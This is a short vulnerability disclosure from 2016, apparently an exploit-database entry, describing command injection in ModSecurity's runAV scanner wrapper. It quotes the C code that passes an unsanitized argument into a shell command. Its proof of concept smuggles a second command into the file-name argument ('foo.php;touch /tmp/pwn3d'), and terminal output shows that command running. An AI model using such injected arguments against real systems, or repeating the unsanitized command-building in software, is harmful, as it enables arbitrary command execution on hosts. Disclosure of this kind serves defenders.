runAV mod_security Remote Command Execution
Posted on 14 May 2016
# Title : runAV mod_security Remote Command Execution # Date : 13/05/2016 # Author : R-73eN # Tested on : mod_security with runAV Linux 4.2.0-30-generic #36-Ubuntu SMP Fri Feb 26 00:57:19 UTC 2016 i686 i686 i686 GNU/Linux # Software : https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/util/av-scanning/runAV # Vendor : https://www.modsecurity.org/ # ___ __ ____ _ _ # |_ _|_ __ / _| ___ / ___| ___ _ __ / | | # | || '_ | |_ / _ | | _ / _ '_ / _ | | # | || | | | _| (_) | |_| | __/ | | | / ___ | |___ # |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____| # # #include "common.h" main(int argc, char *argv[]) { char cmd[MAX_OUTPUT_SIZE]; char output[MAX_OUTPUT_SIZE]; int error; char *colon; char *keyword; if (argc > 1) { sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]); output[0] = ' '; error = run_cmd(cmd,output,MAX_OUTPUT_SIZE); +++++++++++++++++ OTHER CODE +++++++++++++++++++++++++++++++++ The argv[1] parameter is passed unsanitized to a sprintf function which sends the formatted output to the cmd variable, which is later passed as a parameter to a run_cmd function on line 14. https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/av-scanning/runAV/runAV.c#L14 POC: snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ./runAV "foo.php;touch /tmp/pwn3d" sh: 1: /usr/bin/clamscan: not found 1 exec empty: OK snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ls -la /tmp/ | grep pwn3d -rw-rw-r-- 1 snort snort 0 Maj 13 16:45 pwn3d snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$
